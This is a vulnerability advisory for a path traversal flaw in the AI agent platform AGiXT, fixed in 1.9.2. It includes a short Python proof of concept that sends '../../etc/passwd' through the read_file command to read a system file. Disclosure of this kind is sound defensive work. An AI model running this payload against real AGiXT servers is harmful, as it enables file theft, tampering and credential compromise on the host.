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EUVD-2026-291018

fkie_cve-2026-39981

AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2.

GHSA-5gfj-64gh-mgmw — AGiXT Vulnerable to Path Traversal in safe_join()

Affected: PyPI: agixt

### Summary The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.

### Details `agixt/endpoints/Extension.py:165` (source) -> `agixt/XT.py:1035` (hop) -> `agixt/extensions/essential_abilities.py:436` (sink)

```python # source command_args = command.command_args

# hop response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)

# sink new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/"))) ``` ### PoC ```python # tested on: agixt<=1.9.1 # install: pip install agixt==1.9.1 import requests BASE = "http://localhost:7437" TOKEN = "<your_api_key>" headers = {"Authorization": f"Bearer {TOKEN}"} payload = { "command_name": "read_file", "command_args": { "filename": "../../etc/passwd" } } r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers) print(r.text) # expected output: root:x:0:0:root:/root:/bin/bash ... ``` ### Impact Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.

PYSEC-2026-2093

Affected: PyPI: agixt